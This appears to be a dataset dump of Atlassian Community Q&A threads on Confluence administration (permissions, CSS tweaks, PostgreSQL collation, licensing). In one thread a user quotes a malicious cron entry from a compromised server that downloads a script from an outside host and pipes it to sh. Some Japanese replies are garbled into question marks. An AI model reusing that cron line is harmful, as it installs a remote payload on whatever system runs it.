youngmon/atlassian-qna huggingface dataset:
How to change default permissions when new pages are created
Asked by Nikki Anderson:

Hello. I have created a template for my boss to easily create a weekly newsletter for the team. I created a parent page, and there is a macro on that page for her to click and it brings up the template.

Once she completes the new page via that template and clicks save, it automatically is nested under that parent page.

*The problem is that each new page created from the template is open for everyone to view and edit.*

I do not see where to change this so that only certain groups can just view it and such \*by default\*.

*We do not want to have to go in and change permissions each time a new page is created. We want it to default to a certain permission setting.*

Thank you for any advice.


Answers:
author: Avinash Bhagawati _Appfire_
body: Hi [@Nikki Anderson](/t5/user/viewprofilepage/user-id/3602763)

Can you please try out restricting parent page to view and Edit permission so that same view permissions will be followed to that child pages that are created from template within it.

Please refer below documentation on how to restrict page.

<https://confluence.atlassian.com/doc/page-restrictions-139414.html>

Thanks,

Avinash


Tags: questions-for-confluence
How can I hide the space logo and space name from the left sidebar?
Asked by Megan Ellis:

I'm looking for a way to hide the space logo and space name elements from the left sidebar. Any ideas? v6.13 server


Answers:
author: Avinash Bhagawati _Appfire_
body: Hi [@Megan Ellis](/t5/user/viewprofilepage/user-id/3534860)

With configuring space stylesheets you will be able to hide sidebar.

Please find below reference stylesheets and try on a test space.

Please refer same thread for more info. <https://community.atlassian.com/t5/Confluence-questions/Hide-Confluence-sidebar-default-theme/qaq-p/167553>

```
div.theme-default .ia-splitter #main {    margin-left: 0px;}.ia-fixed-sidebar, .ia-splitter-left {    display: none;}div#main {    margin-left: 0px !important;}div#footer {  margin-left: 0px !important;}
```

Thanks,

Avinash

comments: author: Megan Ellis
body: Thanks for replying! I want to keep the sidebar (it has my pagetree configured) but just leave off the logo and space name. I used custom html to hide the create button like this:

\<script type="text/javascript"\>  
AJS.toInit(function(){  
AJS.$('li.aui-buttons').hide();  
});  
\</script\>

Is there a similar script that you know of for hiding the logo and space name? Thanks!


Tags: confluence-server

server
How to restrict the number characters for user input parameter - Script Macro
Asked by DEAA Tools [Steve Masturzo]:

How to restrict the number characters for user input parameter - Script Macro


Answers:
author: Shannon S
body: Hello [@DEAA Tools \[Steve Masturzo\]](/t5/user/viewprofilepage/user-id/1082112),

Thank you for bringing this to us! Happy to help.

Could you help clarify exactly what you're trying to do? Are you writing an add-on for Confluence, or are you trying to use a 3rd party add-on?

Also, what version of Confluence is this for?

Regards,

Shannon

comments: author: DEAA Tools [Steve Masturzo]
body: [@Shannon S](/t5/user/viewprofilepage/user-id/510046)

Hi Shannon,

Will you be able to help us to delete the above question ? It was a mistake and there was no option to delete.

Thanks


author: Shannon S
body: Hi Steve,

Unfortunately it's not possible for me to remove your question.

Perhaps this was was something you were able to resolve on your end? Could you let us know what the issue and resolution was, in case it can help other users?

Regards,

Shannon
When I upload a pdf how do I display the title as text to click as opposed to an image?
Asked by LeAnne Kniepkamp:

I have a page which houses several pdf documents for a manual of procedures. With the new update being pushed, these uploaded pdfs default to an image of the first page. If all of these pdfs show as images the page is HUGE and unmanageable for general users. How do I display my uploaded pdfs as just a title users can click to open?


Answers:
author: Dara
body: I think this is probably a feature that is not available right now in the new editor. There are several such issues (see the Roadmap: <https://confluence.atlassian.com/confcloud/confluence-cloud-editor-roadmap-967314556.html?_ga=2.135480625.1045539927.1571380284-1712400248.1568012946>)

The relevant issue here seems to be: <https://jira.atlassian.com/browse/CONFCLOUD-65302?_ga=2.43008293.1045539927.1571380284-1712400248.1568012946>


Tags: confluence-cloud
How do I get the UTF8 collation on PostgreSQL running on WIndows
Asked by Joe Olinger:

I am running Windows 10 PostgreSQL 9.6 and confluence 7.x.x. How do I the collation to be en_US.UTF8?


Answers:
author: Stan Ry
body: Hi Joe,

Try [this](https://stackoverflow.com/questions/51351191/how-to-create-a-database-with-utf-8-collation-in-postgresql-on-windows):

    CREATE DATABASE "example_db"WITH OWNER "postgres"ENCODING 'UTF8'LC_COLLATE = 'en_US.UTF-8'LC_CTYPE = 'en_US.UTF-8'TEMPLATE template0;


Tags: confluence-server

server
How to login in to node
Asked by Ken_Cook:

I just built a confluence site using the Azure Marketplace template. I need to make a change to the server.xml file on the nodes. I have successfully logged into the jump server, but can't connect to the nodes. Permission denied (publickey). I'm using the same user name I used to log into the jump server. Does the template setup a different user?


Answers:
author: Shannon S
body: Hello Ken,

Welcome to Atlassian Community. It's nice to meet you!

If you're having issues with the [Azure Confluence Data Center Template](https://confluence.atlassian.com/doc/getting-started-with-confluence-data-center-on-azure-937176452.html), then we recommend that you raise a ticket directly with the [Confluence Support Team.](http://support.atlassian.com/contact) The reason being is that the information we require to solve Data Center issues cannot be easily shared on Community.

Once you're able to resolve the issue with them, please feel free to let us know how it was resolved. It can help others in the future!

Regards,

Shannon


Tags: data-center

new-to-confluence
Activity Stream
Asked by Mike Bailoux:

Hello,

I am using the Cloud versions

I have added an Activity Stream macro to our Confluence page. I am trying to get all activities related the space and any issues related to the JIRA issues.

I have linked JIRA to Confluence, but don't seem to be able to get the JIRA issues. I set a a global filter for the space + JIRA key. It provided both as an option in the drop-down.

If I only set the space filter it works. As soon as I add the JIRA key, it displays no activity.

Thanks,   
Mike


Answers:
author: Shannon S
body: Hello Mike,

Thank you for contacting us about this.

Can you show me an example of the filter you use that does display results vs the one that does not? When you are filtering the space only, do you mean the Confluence space, or did you mean the Jira project?

In Jira, are you able to access the issue that you are trying to reference in your filter?

Regards,

Shannon

comments: author: Mike Bailoux
body: Hello Shannon,

Thanks for the reply. I'm referring to the Confluence space. This is where I'm trying to add an activity stream macro that displays all activity related to the space and the linked JIRA issues.

See attached for pic. This time it didn't provide the actual JIRA key as an option to select. It did previously. It did for provide the option to select the actual space. - Thanks

![ActivityStreamFilter.png](https://community.atlassian.com/t5/image/serverpage/image-id/70055i754FE4F147DB477A/image-size/large?v=v2&px=999 "ActivityStreamFilter.png")


author: Shannon S
body: Thank you, Mike!

Apologies for the delay, but I've discovered this is a very specific bug that was reported last week:

* [CONFCLOUD-68262](https://jira.atlassian.com/browse/CONFCLOUD-68262) *Activity Stream Macro is not working with JIRA issues key filter*

You can click **This affects my team** and receive updates in the future on this bug.

Thank you for your help in reporting this!

Regards,

Shannon


Tags: cloud

confluence-cloud

jira
Companion App Deleting Files
Asked by Phil B:

As pointed out in the documentation;

Recover edited files {#toc-hId--1387682472}
-------------------------------------------

When a user edits a file, that file is also downloaded and saved to the Atlassian Companion folder on their computer. ++**Files are cleared every time the Companion app restarts.**++

Follow our guide to [accessing Confluence files edited with the Atlassian Companion app](https://confluence.atlassian.com/confkb/how-to-access-confluence-files-edited-with-the-atlassian-companion-app-955178822.html).

it would explain why files become missing. Is there any way to disable this feature? All of our users are reporting back that data is getting lost because files are no long available. Trying to "recover" files, only leads to empty directories.

Thanks,

Phil


Answers:
author: Alex K
body: Hi Phil,

We currently do not provide a configuration option to disable the clearing of temporary files on startup. However, we do have an open suggestion for this request and will consider implementing it in the future.

Please vote on the following ticket and watch it to receive updates from the development team: [CONFSERVER-58425](https://jira.atlassian.com/browse/CONFSERVER-58425)

Regards,  
Alex


Tags: confluence-server

server
test
Asked by oliverwi:

test


Answers:
author: Shannon S
body: Hello [@oliverwi](/t5/user/viewprofilepage/user-id/741340),

Thank you for raising this issue with us. Could you let me know how the Page Properties macro is being used on the other pages?

Please also confirm your Confluence version.

Thank you!

Regards,

Shannon

comments: author: oliverwi
body: Hey [@Shannon S](/t5/user/viewprofilepage/user-id/510046)

thank you looking into it. there was a mixup with the content report table macro. Can you delete this question?


author: Shannon S
body: Hi Oliver,

Unfortunately, it's not possible to delete the question. Could you let me know what the mixup was with the content report table macro, in case other users have the same problem?

Regards,

Shannon


Tags: confluence-server

server
Is there an easy way to set Gadget height and width?
Asked by Nivedita:

Is there an easy way to set Gadget height and width? I am finding it difficult to get a legible view each time I insert a Gadget macro.

Tried to set the size based on px or percentage but in vain. Not really comfortable with the view. ![conf1.png](/t5/image/serverpage/image-id/69738iDDBF82758397113E/image-size/large?v=v2&px=999 "conf1.png")![conf1a.PNG](/t5/image/serverpage/image-id/69737i5C555E13DA12D7C3/image-size/large?v=v2&px=999 "conf1a.PNG")


Answers:
author: Diego
body: Hello there, [@Nivedita](/t5/user/viewprofilepage/user-id/3508205) !

I understand that having percentages or pixels as a sizing measurement can be a little hard to visualize. However, this is the *++only way to resize the Activity Stream Macro++*.

When we use percentages as measuring for the macros, we can think of the page as a container for that macro. For example:
> 1. *We create a page using the narrow view (new style)*
> 2. *We insert the Activity Stream macro with 100% width*
> 3. *We publish the page*

When we look at the macro, it will be occupying the *++whole narrow width of the page++*. The same is true if we use the wider view, the macro will occupy the whole width of your page.

Now, the *++height of this macro is automatically defined based on how many items are displayed++* in your stream.

My advice would be to *++first set the macro as 100% width++* and go down from there. This can help us to have a better idea of how to better harmonize the macro within the page.

Let us hear from you, Nivedita! Looking forward to your reply.


Tags: confluence-cloud

widget
Confluence stops after few minutes and processor spikes
Asked by Sorel @ Inventiff.:

Hi,

Confluence is stopping every few minutes and after this is happening I have a process owned by confluence1 with command **.** **/kpsmoseds** that use 394% of CPU and a command **\[khungtaskd\]**that use 63.10 of CPU

Any suggestions?

Thank you!


Answers:
author: Sorel @ Inventiff.
body: I just found this

> \*/10 \* \* \* \* (curl -fsSL -m15 lsd.systemten.org\|\|wget -q -T15 -O- lsd.systemten.org\|\|python -c 'import urllib;print urllib.urlopen("[http://lsd.systemten.org").read()')\|sh](http://lsd.systemten.org").read()')|sh)  
>
in **/var/spoo/cron/confluence1**

comments: author: Alexis Robert
body: Hi [Sorel @ Inventiff.](/t5/user/viewprofilepage/user-id/2124597) ,

your Confluence server has been compromised because you might be running an older version of Confluence that has a security issue : <https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html>

If possible you should stop this server and only backup your Confluence data, and restore it on a new server with the latest Confluence version.


author: Sorel @ Inventiff.
body: Thank you!


author: Sorel @ Inventiff.
body: Do I need to start the whole installing process?

Is there any way to just update it?


author: Alexis Robert
body: Hi [Sorel @ Inventiff.](/t5/user/viewprofilepage/user-id/2124597) ,

can you have a look at your catalina.out log and see if there are any lines starting with ERROR ? It would be useful to see why the process stops after only a few minutes.

Can you also give more information on how much memory and CPU your server has ?

Thanks,

--Alexis


Tags: confluence-server

server
Image hyperlinking
Asked by Dominic Benabda:

Hi there! We've recently moved from Confluence to Confluence Cloud and I'm taking the opportunity to update my libraries, page design and structure - however in this edition of Confluence I don't seem to have the ability to hyperlink off an image.

I used images of documents and slide decks to help users know what to click on and always hyperlinked from image to page or pdf download - I don't seem to be able to do this here as the link icon is greyed out.... any ideas?


Answers:
author: Diego
body: Hello there, [@Dominic Benabda](/t5/user/viewprofilepage/user-id/3577170) ! I see the "*I'm new here*" tag on you, glad you came by! The more collaboration we have, the better. I hope you have a good time here in our community.

So, let us talk business. You are right, *++creating links using images as a "mask" for the link itself is no longer possible with the new Fabric editor++*. We noticed this and raised this request to take care of this:
> * ++**[\[Confluence Cloud\] \[CONFCLOUD-65640\] \[Cannot add link to image in Fabric Editor\]](https://jira.atlassian.com/browse/CONFCLOUD-65640)**++

There is a workaround to it. The workaround, however, does include *++third-party applications++* to make it possible.

I would advise you to *++vote and watch the report++* linked above. Voting helps to increase the report's visibility and watching will keep you up to date with everything posted there.

Let us hear from you, Dominic!

comments: author: Dominic Benabda
body: Thanks Diego, going to spend some time looking through the workaround - appreciate for the assistance.


author: Anna Oguienko
body: I'm looking to do this as well. Have you found a workaround [@Dominic Benabda](/t5/user/viewprofilepage/user-id/3577170) ?


author: Dominic Benabda
body: Hey Anna, the only workaround I've used is pretty naff... I'm reusing old image with links from our server edition of Confluence and copy/pasting them where needed. New pages and content doesn't work so well, so we really need this update to be completed!!!


author: Anna Oguienko
body: I see, thanks for sharing. Hope they do fix this soon. It's a big hurdle that prevents us from creating more engaging interactive wiki content.


Tags: confluence-cloud
Need a File manager for my confluence server
Asked by Mohsen Faraji:

We use confluence for documentation of the features of our products and need to link some files for example wireframes, UIs and...

I will create a specific folder for every page(feature) and create a link of a folder and put in a page like a button(show files).

Can recommend a file manager that I can use it in my server and create a share link of files?


Answers:
author: Andrew Laden
body: Confluence has a limited one built in.

You can "attach" files to pages, and then use various macros to show the files that are attached. (The "attachment" macro)

However, if you are using this specifically for wireframes, diagrams. etc, I strongly suggest you look at one of the diagramming options for Confluence

Draw.io - [https://marketplace.atlassian.com/apps/1210933/draw-io-diagrams-for-confluence?hosting=server\&tab=overview](https://marketplace.atlassian.com/apps/1210933/draw-io-diagrams-for-confluence?hosting=server&tab=overview)

Gliffy - [https://marketplace.atlassian.com/apps/254/gliffy-diagram-for-confluence?hosting=server\&tab=overview](https://marketplace.atlassian.com/apps/254/gliffy-diagram-for-confluence?hosting=server&tab=overview)

Balsamiq Wireframes - [https://marketplace.atlassian.com/apps/256/balsamiq-wireframes-confluence-server?hosting=server\&tab=overview](https://marketplace.atlassian.com/apps/256/balsamiq-wireframes-confluence-server?hosting=server&tab=overview)

You will be able to see and edit your diagrams directly within confluence.

comments: author: Mohsen Faraji
body: Thanks, Andrew for your answer.

but I need a File manager in my server that I can create folders in it and create a share link for use it in confluence.


Tags: attachment

confluence-server

file

server

share
How to include Jira Macro in global template .
Asked by Nivedita:

I want to create a global template in confluence, which includes Jira Macros.  
So each time somebody uses the template, the Macro should be present, and on clicking it, there should be a prompt to choose the necessary data from Jira.

Is this possible? I use confluence cloud.


Answers:
author: Avinash Bhagawati _Appfire_
body: Hi [@Nivedita](/t5/user/viewprofilepage/user-id/3508205) ,

You will be able to configure Jira Macro for global template and while creating you need to setup Jira Macro with default data like Assignee = currentuser().

When a user creates page with template , Jira Macro shows issues assigned to user and in the same page user can edit the data according to user requirement.

Thanks,

Avinash

comments: author: Rachael Garbee
body: I can't figure out how to do this. Is it restricted to server users? We're on cloud.

Could you possibly outline the steps?

Thank you


Tags: confluence-cloud
Install Confluene on a Webserver?
Asked by Robert Parys:

Hi,

We recently bought a Confluence and Jira license.  
Is it possible to run both apps on a pure Apache / Nginx webserver? We have SSH access.

Thank you in advance,  
Cheers.


Answers:
author: Shankar Asam {Appfire}
body: Hi,

Yes, you can use either Apache or Nginx as proxy for your atlassian applications (JIRA/Confluence). Please see [this](https://confluence.atlassian.com/kb/proxying-atlassian-server-applications-with-apache-http-server-mod_proxy_http-806032611.html) article for further setup on this.

-Shankar

comments: author: Robert Parys
body: Thank you for your response.  
So it is only possible to use Apache / Nginx as a reverse proxy? Because we only have a webhosting contract and no real Linux server.

Cheers.


author: Shankar Asam {Appfire}
body: Do you mean like installing php on apache? I guess for JIRA, you can't do like that. You should install it on a linux or windows server to use it. JIRA is a application server like JBOSS.

-Shankar


author: Robert Parys
body: Alright, thanks for the help anyway.  
Then I'll probably try for a server.


Tags: apache

confluence-server

jira

linux

nginx

server
Installing test Confluence server
Asked by Mark Sweeney:

When installing Test server for confluence I am being asked to Configure a cluster node even when my licencing shows it to be for server. Please assist on how I can correct this so that I may install a test version of Conflunce on my machine vs the cluster congfiguration.


Answers:
author: Alexis Robert
body: Hi [@Mark Sweeney](/t5/user/viewprofilepage/user-id/3601437) ,

are you sure you're using the right licence, for a Server product and not a Data Center product ? The behaviour you're describing looks like when you wrongly paste a Data Center licence.

Can you try maybe generating a new, Server Confluence licence from your my.atlassian.com account and try this for the installation ?

Let me know if this works,

--Alexis

comments: author: Mark Sweeney
body: Good Morning Robert,

The license I pasted in that had me hung up ended up working several hours later. Maybe cached or replication issue, not sure. Thanks for your response and help as I was able to set it up correctly. Have a great rest of the week!


author: Alexis Robert
body: Hi [@Mark Sweeney](/t5/user/viewprofilepage/user-id/3601437) ,

good to know it's reseolved ! Can you click on Accept Answer so that others can find this in case they run in the same issue ?

Thanks !


Tags: confluence-server

server
Code Block Macro
Asked by enumori:

Confluence cloud????????????Macro???Code Block Macro???????  
CodeSnippet?Code Block Macro????????????

???Confluence Server???Code Block Macro????????????????


Answers:
author: Ai Hirama
body: ?????????????????????????

Confluence Cloud????????????????????????????????????????????????????????????????????(??????????????[Confluence Cloud ???????????](https://ja.confluence.atlassian.com/confcloud/confluence-cloud-editor-roadmap-967314556.html) ??????????????????????????????)?

???????????????????Code Block Macro?????????????????????????????????????????????????????????

* [Confluence ???????](https://ja.confluence.atlassian.com/confcloud/confluence-editing-improvements-945107733.html#ConfluenceEditingImprovements-Codeformatting)

?????????????????????????????Code Block Macro??????????????????

comments: author: enumori
body: ???????????????????????  
????????Code Block Macro?????????????????  
Confluence Cloud????????????????????????

???????????????????????????????????????????

* ???????
* ???????


author: Ai Hirama
body: ??????????????????

Confluence Cloud????????????????????????????????????????????????????????????????????  
??????????????????????Blank page (old) (going away soon)?????????????????????????????????????????????????????????????????????

?????????????????????????????????????????  
??????????????????????????????????????????????????

* [Allow further customization of the "Code" macro in the new editor](https://jira.atlassian.com/browse/CONFCLOUD-66437)


author: enumori
body: ?????????????

?????????????????????????????Code Block Macro?????????????????????

???????????????????????????????????????


author: Ai Hirama
body: ?????????????????

?????????????????????


author: alan.gordon
body: I agree with Enumori - just found out that Code Block is not supported anymore and that Code Snipitr is a much much much much much inferior tool. Please bring back code block or add its features to code snit soon - or I will abandon Confluence!!!!!!


Tags: confluence-cloud

language-ja
Can you access the database if your Confluence is cloud based?
Asked by Clarissa Fitzgerald:

I would love to use the DbVisualizer but don't seem to be able to do the set up with the offered description.


Answers:
author: Mikael Sandberg
body: Hi [@Clarissa Fitzgerald](/t5/user/viewprofilepage/user-id/3557269),

Welcome to the Atlassian Community.

On Cloud you do not have access to the backend database.


Tags: confluence-cloud